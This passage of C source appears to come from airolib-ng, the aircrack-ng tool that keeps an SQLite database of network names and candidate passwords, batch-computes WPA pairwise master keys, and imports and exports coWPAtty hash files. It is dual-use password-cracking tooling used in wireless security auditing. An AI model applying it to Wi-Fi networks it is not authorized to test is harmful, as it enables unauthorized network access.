#define IMPORT_PASSWD "passwd"
#define IMPORT_PASSWD_ALT "password"
#define IMPORT_COWPATTY "cowpatty"
#define EXPORT_COWPATTY IMPORT_COWPATTY
static int exit_airolib;
static void print_help(const char * msg)
{
char * version_info
= getVersion("Airolib-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
printf("\n"
" %s - (C) 2007, 2008, 2009 ebfe\n"
" https://www.aircrack-ng.org\n"
"\n"
" Usage: airolib-ng <database> <operation> [options]\n"
"\n"
" Operations:\n"
"\n"
" --stats : Output information about the database.\n"
" --sql <sql> : Execute specified SQL statement.\n"
" --clean [all] : Clean the database from old junk. 'all' "
"will also \n"
" reduce filesize if possible and run an "
"integrity check.\n"
" --batch : Start batch-processing all combinations of "
"ESSIDs\n"
" and passwords.\n"
" --verify [all] : Verify a set of randomly chosen PMKs.\n"
" If 'all' is given, all invalid PMK will be "
"deleted.\n"
"\n"
" --import [%s|%s] <file> :\n"
" Import a text file as a list of ESSIDs or "
"passwords.\n"
" --import %s <file> :\n"
" Import a cowpatty file.\n"
"\n"
" --export %s <%s> <file> :\n"
" Export to a cowpatty file.\n"
"\n",
version_info,
IMPORT_ESSID,
IMPORT_PASSWD,
IMPORT_COWPATTY,
EXPORT_COWPATTY,
EXPORT_ESSID);
free(version_info);
if (msg && *msg != '\0')
{
printf("%s", msg);
puts("");
}
}
static void sighandler(int signum)
{
#if ((defined(__INTEL_COMPILER) || defined(__ICC)) && defined(DO_PGO_DUMP))
_PGOPTI_Prof_Dump();
#endif
#if !defined(__CYGWIN__)
// We can't call this on cygwin or we will sometimes end up
// having all our threads die with exit code 35584 fairly reproducible
// at around 2.5-3% of runs
signal(signum, sighandler);
#endif
if (signum == SIGQUIT) exit_airolib = 1;
if (signum == SIGTERM) exit_airolib = 1;
if (signum == SIGINT) exit_airolib = 1;
}
static void sql_error(sqlite3 * db)
{
REQUIRE(db != NULL);
fprintf(stderr, "Database error: %s\n", sqlite3_errmsg(db));
}
static int sql_exec_cb(sqlite3 * db,
const char * sql,
int (*callback)(void *, int, char **, char **),
void * cb_arg)
{
REQUIRE(db != NULL);
REQUIRE(sql != NULL);
#ifdef SQL_DEBUG
printf(sql);
printf("\n");
fflush(stdout);
#endif
int rc;
char * zErrMsg = 0;
char looper[4] = {'|', '/', '-', '\\'};
int looperc = 0;
int waited = 0;
while (1)
{
rc = sqlite3_exec(db, sql, callback, cb_arg, &zErrMsg);
if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY)
{
fprintf(stdout,
"Database is locked or busy. Waiting %is ... %1c \r",
++waited,
looper[looperc++ % sizeof(looper)]);
fflush(stdout);
sleep(1);
if (zErrMsg)
{
sqlite3_free(zErrMsg);
zErrMsg = NULL;
}
}
else
{
if (rc != SQLITE_OK)
{
fprintf(stderr, "SQL error. %s\n", zErrMsg);
}
if (waited != 0) printf("\n\n");
if (zErrMsg)
{
sqlite3_free(zErrMsg);
zErrMsg = NULL;
}
return (rc);
}
}
}
// execute sql fast and hard.
static int sql_exec(sqlite3 * db, const char * sql)
{
REQUIRE(db != NULL);
REQUIRE(sql != NULL);
return (sql_exec_cb(db, sql, 0, 0));
}
// wrapper for sqlite3_step which retries executing statements if the db returns
// SQLITE_BUSY or SQLITE_LOCKED
static int sql_step(sqlite3_stmt * stmt, int wait)
{
REQUIRE(stmt != NULL);
int rc;
char looper[4] = {'|', '/', '-', '\\'};
int looperc = 0;
int waited = 0;
while (1)
{
rc = sqlite3_step(stmt);
if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY)
{
if (wait != 0)
{
fprintf(stdout,
"Database is locked or busy. Waiting %is ... %1c \r",
++waited,
looper[looperc]);
fflush(stdout);
wait--;
looperc = looperc + 1 % sizeof(looper);
sleep(1);
}
else
{
fprintf(stderr,
"Database was locked or busy while getting "
"results. I've given up.\n");
return (rc);
}
}
else
{
if (waited != 0) printf("\n\n");
return (rc);
}
}
}
// wrapper for sqlite3_prepare_v2 which retries creating statements if the db
// returns SQLITE_BUSY or SQLITE_LOCKED
static int
sql_prepare(sqlite3 * db, const char * sql, sqlite3_stmt ** ppStmt, int wait)
{
REQUIRE(db != NULL);
REQUIRE(sql != NULL);
#ifdef SQL_DEBUG
printf(sql);
printf("\n");
fflush(stdout);
#endif
int rc;
char looper[4] = {'|', '/', '-', '\\'};
int looperc = 0;
int waited = 0;
while (1)
{
rc = sqlite3_prepare_v2(db, sql, -1, ppStmt, NULL);
if (rc == SQLITE_LOCKED || rc == SQLITE_BUSY)
{
if (wait != 0)
{
fprintf(stdout,
"Database is locked or busy. Waiting %is ... %1c \r",
++waited,
looper[looperc]);
fflush(stdout);
wait--;
looperc = looperc + 1 % sizeof(looper);
sleep(1);
}
else
{
fprintf(stderr,
"Database was locked or busy while creating "
"statement. I've given up.\n");
return (rc);
}
}
else
{
if (waited != 0) printf("\n\n");
return (rc);
}
}
}
// generic function to dump a resultset including column names to stdout
static int stmt_stdout(sqlite3_stmt * stmt, int * rowcount)
{
REQUIRE(stmt != NULL);
int ccount;
int rcount = 0;
int rc;
if ((ccount = sqlite3_column_count(stmt)) == 0)
{
return (sql_step(stmt, 0));
}
int i = 0;
do
{
printf("%s", sqlite3_column_name(stmt, i++));
if (i < ccount) printf("\t");
} while (i < ccount);
printf("\n");
while ((rc = sql_step(stmt, 0)) == SQLITE_ROW)
{
i = 0;
rcount++;
do
{
printf("%s", (char *) sqlite3_column_text(stmt, i++));
if (i < ccount) printf("\t");
} while (i < ccount);
printf("\n");
}
if (rowcount != NULL) *rowcount = rcount;
return (rc);
}
// generic function to dump the output of a sql statement to stdout.
// will return sqlite error codes but also handle (read: ignore) them itself
static int sql_stdout(sqlite3 * db, const char * sql, int * rowcount)
{
REQUIRE(db != NULL);
REQUIRE(sql != NULL);
int rc;
sqlite3_stmt * stmt;
rc = sql_prepare(db, sql, &stmt, -1);
if (rc != SQLITE_OK)
{
sql_error(db);
return (rc);
}
rc = stmt_stdout(stmt, rowcount);
sqlite3_finalize(stmt);
if (rc == SQLITE_DONE)
{
if (sqlite3_changes(db) > 0)
fprintf(
stdout, "Query done. %i rows affected.", sqlite3_changes(db));
}
else
{
sql_error(db);
}
printf("\n");
return (rc);
}
// retrieve a single int value using a sql query.
// returns 0 if something goes wrong. beware! create your own statement if you
// need error handling.
static int query_int(sqlite3 * db, const char * sql)
{
REQUIRE(db != NULL);
sqlite3_stmt * stmt;
int rc;
int ret;
rc = sql_prepare(db, sql, &stmt, -1);
if (rc != SQLITE_OK || stmt == 0 || sqlite3_column_count(stmt) == 0)
{
sql_error(db);
ret = 0;
}
else
{
rc = sql_step(stmt, -1);
if (rc == SQLITE_ROW)
{
ret = sqlite3_column_int(stmt, 0);
}
else
{
#ifdef SQL_DEBUG
printf(
"DEBUG: query_int() returns with sql_step() != SQLITE_ROW\n");
#endif
ret = 0;
}
}
sqlite3_finalize(stmt);
return (ret);
}
// throw some statistics about the db to stdout.
// if precise!=0 the stats will be queried nail by nail which can be slow
static void show_stats(sqlite3 * db, int precise)
{
REQUIRE(db != NULL);
sql_exec(db, "BEGIN;");
int essids = query_int(db, "SELECT COUNT(*) FROM essid;");
int passwds = query_int(db, "SELECT COUNT(*) FROM passwd;");
int done;
if (precise != 0)
{
printf("Determining precise statistics may be slow...\n");
done = query_int(db,
"SELECT COUNT(*) FROM essid,passwd INNER JOIN pmk "
"ON pmk.essid_id = essid.essid_id AND "
"pmk.passwd_id = passwd.passwd_id");
}
else
{
done = query_int(db, "SELECT COUNT(*) FROM pmk;");
}
fprintf(stdout,
"There are %i ESSIDs and %i passwords in the database. %i out of "
"%i possible combinations have been computed (%g%%).\n\n",
essids,
passwds,
done,
essids * passwds,
essids * passwds > 0 ? ((double) done * 100) / (essids * passwds)
: 0);
if (precise != 0)
{
sql_stdout(db,
"select essid.essid AS ESSID, essid.prio AS Priority, "
"round(count(pmk.essid_id) * 100.0 / count(*),2) AS Done "
"from essid,passwd left join pmk on pmk.essid_id = "
"essid.essid_id and pmk.passwd_id = passwd.passwd_id group "
"by essid.essid_id;",
0);
}
else
{
sql_stdout(db,
"SELECT essid.essid AS ESSID, essid.prio AS Priority, "
"ROUND(COUNT(pmk.essid_id) * 100.0 / (SELECT COUNT(*) FROM "
"passwd),2) AS Done FROM essid LEFT JOIN pmk ON "
"pmk.essid_id = essid.essid_id GROUP BY essid.essid_id;",
0);
}
sql_exec(db, "COMMIT;");
}
/*
batch-process all combinations of ESSIDs and PASSWDs. this function may be
called
only once per db at the same time, yet multiple processes can batch-process a
single db.
don't modify this function's layout or it's queries without carefully
considering speed, efficiency and concurrency.
*/
static void batch_process(sqlite3 * db)
{
REQUIRE(db != NULL);
int rc;
int cur_essid = 0;
struct timeval starttime;
struct timeval curtime;
int rowcount = 0;
char * sql;
gettimeofday(&starttime, NULL);
if (sql_exec(db,
"CREATE TEMPORARY TABLE temp.buffer (wb_id integer, "
"essid_id integer, passwd_id integer, essid text, passwd "
"text, pmk blob);")
!= SQLITE_OK)
{
fprintf(stderr, "Failed to create buffer for batch processing.\n");
return;
}
printf("Batch processing ...\n");
// may fail - that's ok
cur_essid = query_int(db, "SELECT essid_id FROM workbench LIMIT 1;");
while (!exit_airolib)
{
// loop over everything
do
{
// loop over ESSID
do
{
// loop over workbench
sql_exec(db, "DELETE FROM temp.buffer;");
// select some work from the workbench into our own buffer
// move lockid ahead so other clients won't get those rows any
// time soon
sql_exec(db, "BEGIN EXCLUSIVE;");
sql_exec(db,
"INSERT INTO temp.buffer "
"(wb_id,essid_id,passwd_id,essid,passwd) SELECT "
"wb_id, "
"essid.essid_id,passwd.passwd_id,essid,passwd "
"FROM workbench CROSS JOIN essid ON "
"essid.essid_id = workbench.essid_id CROSS JOIN "
"passwd ON passwd.passwd_id = workbench.passwd_id "
"ORDER BY lockid LIMIT 5000;");
sql_exec(db,
"UPDATE workbench SET lockid=lockid+1 WHERE wb_id "
"IN (SELECT wb_id FROM buffer);");
sql_exec(db, "COMMIT;");
rc = query_int(db, "SELECT COUNT(*) FROM buffer;");
if (rc > 0)
{
// now calculate all the PMKs with a single statement.
// remember the update won't lock the db
sql_exec(db,
"UPDATE temp.buffer SET pmk = PMK(essid,passwd);");
// commit work and delete package from workbench
sql_exec(db, "BEGIN EXCLUSIVE;");
sql_exec(db,
"INSERT OR IGNORE INTO pmk "
"(essid_id,passwd_id,pmk) SELECT "
"essid_id,passwd_id,pmk FROM temp.buffer");
sql_exec(db,
"DELETE FROM workbench WHERE wb_id IN (SELECT "
"wb_id FROM buffer);");
sql_exec(db, "COMMIT;");
rowcount += rc;
gettimeofday(&curtime, NULL);
int timediff = curtime.tv_sec - starttime.tv_sec;
fprintf(stdout,
"\rComputed %i PMK in %i seconds (%i PMK/s, %i in "
"buffer)\n",
rowcount,
timediff,
timediff > 0 ? rowcount / timediff : rowcount,
query_int(db, "SELECT COUNT(*) FROM workbench;"));
fflush(stdout);
}
} while (rc > 0 && !exit_airolib);
sql = sqlite3_mprintf(
"INSERT OR IGNORE INTO workbench (essid_id,passwd_id) SELECT "
"essid.essid_id,passwd.passwd_id FROM passwd CROSS JOIN essid "
"LEFT JOIN pmk ON pmk.essid_id = essid.essid_id AND "
"pmk.passwd_id = passwd.passwd_id WHERE essid.essid_id = %i "
"AND pmk.essid_id IS NULL LIMIT 250000;",
cur_essid);
sql_exec(db, sql);
sqlite3_free(sql);
} while (!exit_airolib
&& query_int(db,
"SELECT COUNT(*) FROM workbench INNER JOIN "
"essid ON essid.essid_id = "
"workbench.essid_id INNER JOIN passwd ON "
"passwd.passwd_id = workbench.passwd_id;")
> 0);
cur_essid = query_int(
db,
"SELECT essid.essid_id FROM essid LEFT JOIN pmk USING "
"(essid_id) WHERE VERIFY_ESSID(essid.essid) == 0 GROUP BY "
"essid.essid_id HAVING COUNT(pmk.essid_id) < (SELECT COUNT(*) "
"FROM passwd) ORDER BY essid.prio,COUNT(pmk.essid_id),RANDOM() "
"LIMIT 1;");
if (cur_essid == 0)
{
printf("All ESSID processed.\n\n");
sqlite3_close(db);
exit(EXIT_SUCCESS);
}
}
// never reached
sql_exec(db, "DROP TABLE temp.buffer;");
}
// Verify an ESSID. Returns 1 if ESSID is invalid.
// TODO More things to verify? Invalid chars?
static int verify_essid(char * const essid)
{
const size_t essid_len = essid ? strlen(essid) : 0;
return (essid_len < 1 || essid_len > 32);
}
// sql function which checks a given ESSID
static void
sql_verify_essid(sqlite3_context * context, int argc, sqlite3_value ** values)
{
char * essid = (char *) sqlite3_value_text(values[0]);
if (argc != 1 || essid == 0)
{
fprintf(stderr,
"SQL function VERIFY_ESSID called with invalid arguments");
return;
}
sqlite3_result_int(context, verify_essid(essid));
}
static int verify_passwd(char * const passwd)
{
const size_t passwd_len = passwd ? strlen(passwd) : 0;
return (passwd_len < 8 || passwd_len > 63);
}
static void
sql_verify_passwd(sqlite3_context * context, int argc, sqlite3_value ** values)
{
char * passwd = (char *) sqlite3_value_text(values[0]);
if (argc != 1 || passwd == 0)
{
fprintf(stderr,
"SQL function VERIFY_PASSWD called with invalid arguments");
return;
}
sqlite3_result_int(context, verify_passwd(passwd));
}
// clean the db, analyze, maybe vacuum and check
static void vacuum(sqlite3 * db, int deep)
{
printf("Deleting invalid ESSIDs and passwords...\n");
sql_exec(db, "DELETE FROM essid WHERE VERIFY_ESSID(essid) != 0;");
sql_exec(db, "DELETE FROM passwd WHERE VERIFY_PASSWD(passwd) != 0");
printf("Deleting unreferenced PMKs...\n");
sql_exec(
db,
"DELETE FROM pmk WHERE essid_id NOT IN (SELECT essid_id FROM essid)");
sql_exec(db,
"DELETE FROM pmk WHERE passwd_id NOT IN (SELECT passwd_id "
"FROM passwd)");
printf("Analysing index structure...\n");
sql_exec(db, "ANALYZE;");
if (deep != 0)
{
printf("Vacuum-cleaning the database. This could take a while...\n");
sql_exec(db, "VACUUM;");
printf("Checking database integrity...\n");
sql_stdout(db, "PRAGMA integrity_check;", 0);
}
printf("Done.\n");
}
// verify PMKs. If complete==1 we check all PMKs
// returns 0 if ok, !=0 otherwise
static void verify(sqlite3 * db, int complete)
{
if (complete != 1)
{
printf("Checking ~10 000 randomly chosen PMKs...\n");
// this is faster than 'order by random()'. we need the subquery to
// trick the optimizer...
sql_stdout(db,
"select s.essid AS ESSID, COUNT(*) AS CHECKED, CASE WHEN "
"MIN(s.pmk == PMK(essid,passwd)) == 0 THEN 'FAILED' ELSE "
"'OK' END AS STATUS FROM (select distinct essid,passwd,pmk "
"FROM pmk INNER JOIN passwd ON passwd.passwd_id = "
"pmk.passwd_id INNER JOIN essid ON essid.essid_id = "
"pmk.essid_id WHERE abs(random() % (select count(*) from "
"pmk)) < 10000) AS s GROUP BY s.essid;",
0);
}
else
{
printf("Checking all PMKs. This could take a while...\n");
sql_stdout(db,
"select essid AS ESSID,passwd AS PASSWORD,HEX(pmk) AS "
"PMK_DB, HEX(PMK(essid,passwd)) AS CORRECT FROM pmk INNER "
"JOIN passwd ON passwd.passwd_id = pmk.passwd_id INNER JOIN "
"essid ON essid.essid_id = pmk.essid_id WHERE pmk.pmk != "
"PMK(essid,passwd);",
0);
}
}
// callback for export_cowpatty. takes the passwd and pmk from the query and
// writes another fileentry.
static int
sql_exportcow(void * arg, int ccount, char ** values, char ** columnnames)
{
REQUIRE(arg != NULL);
UNUSED_PARAM(columnnames);
FILE * f = (FILE *) arg;
struct hashdb_rec rec;
if (ccount != 2 || values[0] == NULL || values[1] == NULL
|| fileno(f) == -1)
{
printf("Illegal call to sql_exportcow.\n");
return (-1);
}
char * passwd = (char *) values[0];
memcpy(rec.pmk, values[1], sizeof(rec.pmk));
rec.rec_size = strlen(passwd) + sizeof(rec.pmk) + sizeof(rec.rec_size);
int rc = fwrite(&rec.rec_size, sizeof(rec.rec_size), 1, f);
rc += fwrite(passwd, strlen(passwd), 1, f);
rc += fwrite(rec.pmk, sizeof(rec.pmk), 1, f);
if (rc != 3)
{
printf("Error while writing to export file. Query aborted...\n");
return (1);
}
fflush(f);
return (0);
}
// export to a cowpatty file
static void export_cowpatty(sqlite3 * db, char * essid, char * filename)
{
struct hashdb_head filehead;
memset(&filehead, 0, sizeof(filehead));
FILE * f = NULL;
size_t essid_len;
int fd;
if (essid == NULL)
{
printf("Invalid SSID (NULL).\n");
return;
}
if (filename == NULL || *filename == '\0')
{
printf("Invalid filename (NULL)");
return;
}
essid_len = strlen(essid);
if (essid_len == 0 || essid_len > sizeof(filehead.ssid))
{
printf("Invalid SSID (NULL or > %zu chars).\n", sizeof(filehead.ssid));
return;
}
// ensure that the essid is found in the db and has at least one entry in
// the pmk table.
char * sql = sqlite3_mprintf(
"SELECT COUNT(*) FROM (SELECT passwd, pmk FROM essid,passwd INNER JOIN "
"pmk ON pmk.passwd_id = passwd.passwd_id AND pmk.essid_id = "
"essid.essid_id WHERE essid.essid = '%q' LIMIT 1);",
essid);
int rc = query_int(db, sql);
sqlite3_free(sql);
if (rc == 0)
{
printf("There is no such ESSID in the database or there are no PMKs "
"for it.\n");
return;
}
if ((fd = open(filename, O_WRONLY | O_CREAT | O_EXCL, 0666)) >= 0)
{
f = fdopen(fd, "w");
}
else
{
printf("The file already exists and I won't overwrite it.\n");
return;
}
if (f == NULL)
{
printf("Failed to open export file for writing.\n");
return;
}
memcpy(filehead.ssid, essid, essid_len);
filehead.ssidlen = essid_len;
filehead.magic = GENPMKMAGIC;
if (fwrite(&filehead, sizeof(filehead), 1, f) != 1)
{
printf("Failed to write header to coWPAtty hash DB file.\n");
fclose(f);
return;
}
// as we have an open filehandle, we now query the db to return passwds and
// associated PMKs for that essid. we pass the filehandle to a callback
// function which will write the rows to the file.
sql = sqlite3_mprintf(
"SELECT passwd, pmk FROM essid,passwd INNER JOIN pmk "
"ON pmk.passwd_id = passwd.passwd_id AND pmk.essid_id "
"= essid.essid_id WHERE essid.essid = '%q'",
essid);
printf("Exporting...\n");
rc = sql_exec_cb(db, sql, &sql_exportcow, f);
sqlite3_free(sql);
if (rc != SQLITE_OK)
{
printf("There was an error while exporting to coWPAtty hash DB.\n");
}
fclose(f);
printf("Done.\n");
}
// import a cowpatty file
static int import_cowpatty(sqlite3 * db, char * filename)
{
struct hashdb_rec * rec = NULL;
struct cowpatty_file * hashdb;
sqlite3_stmt * stmt;
char * sql;
int essid_id;
hashdb = open_cowpatty_hashdb(filename, "r");
if (hashdb == NULL)
{
printf("Failed opening file\n");
return (0);
}
else if (hashdb->error[0])
{
printf("Failed opening file: %s\n", hashdb->error);
close_free_cowpatty_hashdb(hashdb);
return (0);
}
// We need protection so concurrent transactions can't smash the
// ID-references
sql_exec(db, "BEGIN;");
sql = sqlite3_mprintf("INSERT OR IGNORE INTO essid (essid) VALUES ('%q');",
hashdb->ssid);
sql_exec(db, sql);
sqlite3_free(sql);
// since there is only one essid per file, we can determine it's ID now
sql = sqlite3_mprintf("SELECT essid_id FROM essid WHERE essid = '%q'",
hashdb->ssid);
essid_id = query_int(db, sql);
sqlite3_free(sql);
if (essid_id == 0)
{
close_free_cowpatty_hashdb(hashdb);
sql_exec(db, "ROLLBACK;");
printf("ESSID couldn't be inserted. I've given up.\n");
return (0);
}
sql = sqlite3_mprintf(
"CREATE TEMPORARY TABLE import (passwd text, pmk blob);", essid_id);
sql_exec(db, sql);
sqlite3_free(sql);
sql_prepare(
db, "INSERT INTO import (passwd,pmk) VALUES (@pw,@pmk)", &stmt, -1);
printf("Reading...\n");
while (!exit_airolib && (rec = read_next_cowpatty_record(hashdb)))
{
if (verify_passwd(rec->word) == 0)
{
sqlite3_bind_text(
stmt, 1, rec->word, strlen(rec->word), SQLITE_TRANSIENT);
sqlite3_bind_blob(
stmt, 2, &rec->pmk, sizeof(rec->pmk), SQLITE_TRANSIENT);
if (sql_step(stmt, -1) == SQLITE_DONE)
{
sqlite3_reset(stmt);
}
else
{
printf("Error while inserting record into database.\n");
sqlite3_finalize(stmt);
sql_exec(db, "ROLLBACK;");
close_free_cowpatty_hashdb(hashdb);
free(rec->word);
free(rec);
return (1);
}
}
else
{
fprintf(stdout,
"Invalid password %s will not be imported.\n",
rec->word);
}
free(rec->word);
free(rec);
}
// Finalize
sqlite3_finalize(stmt);
// Rollback if any error happened.
if (hashdb->error[0])
{
printf("Error: %s, rolling back\n", hashdb->error);
sql_exec(db, "ROLLBACK;");
close_free_cowpatty_hashdb(hashdb);
return (1);
}
close_free_cowpatty_hashdb(hashdb);
printf("Updating references...\n");
sql_exec(
db, "INSERT OR IGNORE INTO passwd (passwd) SELECT passwd FROM import;");
// TODO Give the user a choice to either INSERT OR UPDATE or INSERT OR
// IGNORE
printf("Writing...\n");
sql = sqlite3_mprintf("INSERT OR IGNORE INTO pmk (essid_id,passwd_id,pmk) "
"SELECT %i,passwd.passwd_id,import.pmk FROM import "
"INNER JOIN passwd ON passwd.passwd = import.passwd;",
essid_id);
sql_exec(db, sql);
sqlite3_free(sql);
sql_exec(db, "COMMIT;");
return (1);
}
static int import_ascii(sqlite3 * db, const char * mode, const char * filename)
{
FILE * f = NULL;
sqlite3_stmt * stmt;
char buffer[63 + 1];
int imported = 0;
int ignored = 0;
int imode = 0;
if (strcasecmp(mode, IMPORT_ESSID) == 0)
{
imode = 0;
}
else if (strcasecmp(mode, IMPORT_PASSWD) == 0)
{
imode = 1;
}
else
{
printf("Specify either 'essid' or 'passwd' as import mode.\n");
return (0);
}
if (strcmp(filename, "-") == 0)
{
f = stdin;
}
else
{
f = fopen(filename, "r");
}
if (f == NULL)
{
printf("Could not open file/stream for reading.\n");
return (0);
}
char * sql = sqlite3_mprintf(
"INSERT OR IGNORE INTO %q (%q) VALUES (@v);", mode, mode);
sql_prepare(db, sql, &stmt, -1);
sqlite3_free(sql);
sql_exec(db, "BEGIN;");
printf("Reading file...\n");
while (!exit_airolib && fgets(buffer, sizeof(buffer), f) != 0)
{
int i = strlen(buffer);
if (i > 0 && buffer[i - 1] == '\n') buffer[--i] = '\0';
if (i > 0 && buffer[i - 1] == '\r') buffer[--i] = '\0';
imported++;
if ((imode == 0 && verify_essid(buffer) == 0)
|| (imode == 1 && verify_passwd(buffer) == 0))
{
sqlite3_bind_text(
stmt, 1, buffer, strlen(buffer), SQLITE_TRANSIENT);
if (sql_step(stmt, -1) == SQLITE_DONE)
{
sqlite3_reset(stmt);
}
else
{
printf("Error while inserting record into database.\n");
sql_exec(db, "ROLLBACK;");
sqlite3_finalize(stmt);
fclose(f);
return (1);
}
}
else
{
ignored++;
}
if (imported % 1000 == 0)
{
fprintf(stdout,
"%i lines read, %i invalid lines ignored.\r",
imported,
ignored);
fflush(stdout);
}
}
sqlite3_finalize(stmt);
if (!feof(f) && !exit_airolib)
{
printf("Error while reading file.\n");
sql_exec(db, "ROLLBACK;");
fclose(f);
return (1);
}
fclose(f);
printf("Writing...\n");
sql_exec(db, "COMMIT;");
printf("Done.\n");
return (1);
}
// sql function. takes ESSID and PASSWD, gives PMK
static void
sql_calcpmk(sqlite3_context * context, int argc, sqlite3_value ** values)
{
REQUIRE(context != NULL);
REQUIRE(values != NULL);
unsigned char pmk[40];
const uint8_t * passwd = (const uint8_t *) sqlite3_value_blob(values[1]);
const uint8_t * essid = (const uint8_t *) sqlite3_value_blob(values[0]);
if (argc < 2 || passwd == 0 || essid == 0)
{
sqlite3_result_error(
context, "SQL function PMK() called with invalid arguments.\n", -1);
return;
}
calc_pmk(passwd, essid, pmk);
sqlite3_result_blob(context, pmk, 32, SQLITE_TRANSIENT);
}
#ifdef HAVE_REGEXP
static void
sqlite_regexp(sqlite3_context * context, int argc, sqlite3_value ** values)
{
REQUIRE(context != NULL);
REQUIRE(values != NULL);
int ret;
regex_t regex;
char * reg = (char *) sqlite3_value_text(values[0]);
char * text = (char *) sqlite3_value_text(values[1]);
if (argc != 2 || reg == 0 || text == 0)
{
sqlite3_result_error(
context,
"SQL function regexp() called with invalid arguments.\n",
-1);
return;
}
ret = regcomp(®ex, reg, REG_EXTENDED | REG_NOSUB);
if (ret != 0)
{
sqlite3_result_error(context, "error compiling regular expression", -1);
return;
}
ret = regexec(®ex, text, 0, NULL, 0);
regfree(®ex);
sqlite3_result_int(context, (ret != REG_NOMATCH));
}
#endif
static int initDataBase(const char * filename, sqlite3 ** db)
{
REQUIRE(filename != NULL);
REQUIRE(db != NULL);
int rc = sqlite3_open(filename, &(*db));
if (rc != SQLITE_OK)
{
sql_error(*db);
sqlite3_close(*db);
// May be useful later
return (rc);
}
sql_exec(*db,
"create table essid (essid_id integer primary key "
"autoincrement, essid text, prio integer default 64);");
sql_exec(*db,
"create table passwd (passwd_id integer primary key "
"autoincrement, passwd text);");
sql_exec(*db,
"create table pmk (pmk_id integer primary key autoincrement, "
"passwd_id int, essid_id int, pmk blob);");
sql_exec(*db,
"create table workbench (wb_id integer primary key "
"autoincrement, essid_id integer, passwd_id integer, lockid "
"integer default 0);");
sql_exec(*db, "create index lock_lockid on workbench (lockid);");
sql_exec(*db, "create index pmk_pw on pmk (passwd_id);");
sql_exec(*db, "create unique index essid_u on essid (essid);");
sql_exec(*db, "create unique index passwd_u on passwd (passwd);");
sql_exec(*db, "create unique index ep_u on pmk (essid_id,passwd_id);");
sql_exec(*db,
"create unique index wb_u on workbench (essid_id,passwd_id);");
sql_exec(*db,
"CREATE TRIGGER delete_essid DELETE ON essid BEGIN DELETE "
"FROM pmk WHERE pmk.essid_id = OLD.essid_id; DELETE FROM "
"workbench WHERE workbench.essid_id = OLD.essid_id; END;");
sql_exec(*db,
"CREATE TRIGGER delete_passwd DELETE ON passwd BEGIN DELETE "
"FROM pmk WHERE pmk.passwd_id = OLD.passwd_id; DELETE FROM "
"workbench WHERE workbench.passwd_id = OLD.passwd_id; END;");
#ifdef SQL_DEBUG
sql_exec(*db, "begin;");
sql_exec(*db, "insert into essid (essid,prio) values ('e',random())");
sql_exec(*db, "insert into passwd (passwd) values ('p')");
sql_exec(*db,
"insert into essid (essid,prio) select essid||'a',random() "
"from essid;");
sql_exec(*db,
"insert into essid (essid,prio) select essid||'b',random() "
"from essid;");
sql_exec(*db,
"insert into essid (essid,prio) select essid||'c',random() "
"from essid;");
sql_exec(*db,
"insert into essid (essid,prio) select essid||'d',random() "
"from essid;");
sql_exec(*db,
"insert into passwd (passwd) select passwd||'a' from passwd;");
sql_exec(*db,
"insert into passwd (passwd) select passwd||'b' from passwd;");
sql_exec(*db,
"insert into passwd (passwd) select passwd||'c' from passwd;");
sql_exec(*db,
"insert into passwd (passwd) select passwd||'d' from passwd;");
sql_exec(*db,
"insert into passwd (passwd) select passwd||'e' from passwd;");
sql_exec(*db,
"insert into pmk (essid_id,passwd_id) select "
"essid_id,passwd_id from essid,passwd limit 1000000;");
sql_exec(*db, "commit;");
#endif
sqlite3_close(*db);
printf("Database <%s> successfully created\n", filename);
return (0);
}
static int
check_for_db(sqlite3 ** db, const char * filename, int can_create, int readonly)
{
REQUIRE(filename != NULL);
struct stat dbfile;
int rc;
int accessflags = R_OK | W_OK;
if (readonly) accessflags = R_OK;
// Check if DB exist. If it does not, initialize it
if (access(filename, accessflags))
{
printf("Database <%s> does not already exist, ", filename);
if (can_create)
{
printf("creating it...\n");
rc = initDataBase(filename, db);
if (rc)
{
printf("Error initializing database (return code: %d), "
"exiting...\n",
rc);
return (1);
}
}
else
{
printf("exiting ...\n");
return (1);
}
}
else
{
if (stat(filename, &dbfile))
{
perror("stat()");
return (1);
}
if ((S_ISREG(dbfile.st_mode) && !S_ISDIR(dbfile.st_mode)) == 0)
{
printf("\"%s\" does not appear to be a file.\n", filename);
return (1);
}
}
rc = sqlite3_open(filename, &(*db));
if (rc)
{
sql_error(*db);
sqlite3_close(*db);
return (1);
}
// TODO: Sanity check: Table definitions, index
// register new functions to be used in SQL statements
if (sqlite3_create_function(
*db, "PMK", 2, SQLITE_ANY, 0, &sql_calcpmk, 0, 0)
!= SQLITE_OK)
{
printf("Failed creating PMK function.\n");
sql_error(*db);
sqlite3_close(*db);
return (1);
}
if (sqlite3_create_function(
*db, "VERIFY_ESSID", 1, SQLITE_ANY, 0, &sql_verify_essid, 0, 0)
!= SQLITE_OK)
{
printf("Failed creating VERIFY_ESSID function.\n");
sql_error(*db);
sqlite3_close(*db);
return (1);
}
if (sqlite3_create_function(
*db, "VERIFY_PASSWD", 1, SQLITE_ANY, 0, &sql_verify_passwd, 0, 0)
!= SQLITE_OK)
{
printf("Failed creating VERIFY_PASSWD function.\n");
sql_error(*db);
sqlite3_close(*db);
return (1);
}
#ifdef HAVE_REGEXP
if (sqlite3_create_function(
*db, "regexp", 2, SQLITE_ANY, 0, &sqlite_regexp, 0, 0)
!= SQLITE_OK)
{
printf("Failed creating regexp() handler.\n");
sql_error(*db);
sqlite3_close(*db);
return (1);
}
#endif
return (0);
}
int main(int argc, char ** argv)
{
sqlite3 * db;
int option_index, option;
exit_airolib = 0;
if (argc < 3)
{
print_help(NULL);
return (EXIT_FAILURE);
}
db = NULL;
option_index = 0;
static const struct option long_options[]
= {{"batch", 0, 0, 'b'},
{"clean", 2, 0, 'c'},
{"export", 2, 0, 'e'},
{"h", 0, 0, 'h'},
{"help", 0, 0, 'h'},
{"import", 2, 0, 'i'},
{"sql", 1, 0, 's'},
{"stats", 2, 0, 't'},
{"statistics", 2, 0, 't'},
{"verify", 2, 0, 'v'},
{"vacuum", 2, 0, 'c'},
// TODO: implement options like '-e essid' to limit
// operations to a certain essid where possible
{"essid", 1, 0, 'd'},
{0, 0, 0, 0}};
ac_crypto_init();
signal(SIGINT, sighandler);
signal(SIGQUIT, sighandler);
signal(SIGTERM, sighandler);
option = getopt_long(
argc - 1, argv + 1, "bc:d:e:hi:s:t:v:", long_options, &option_index);
if (option > 0)
{
switch (option)
{
case 'b':
// Batch
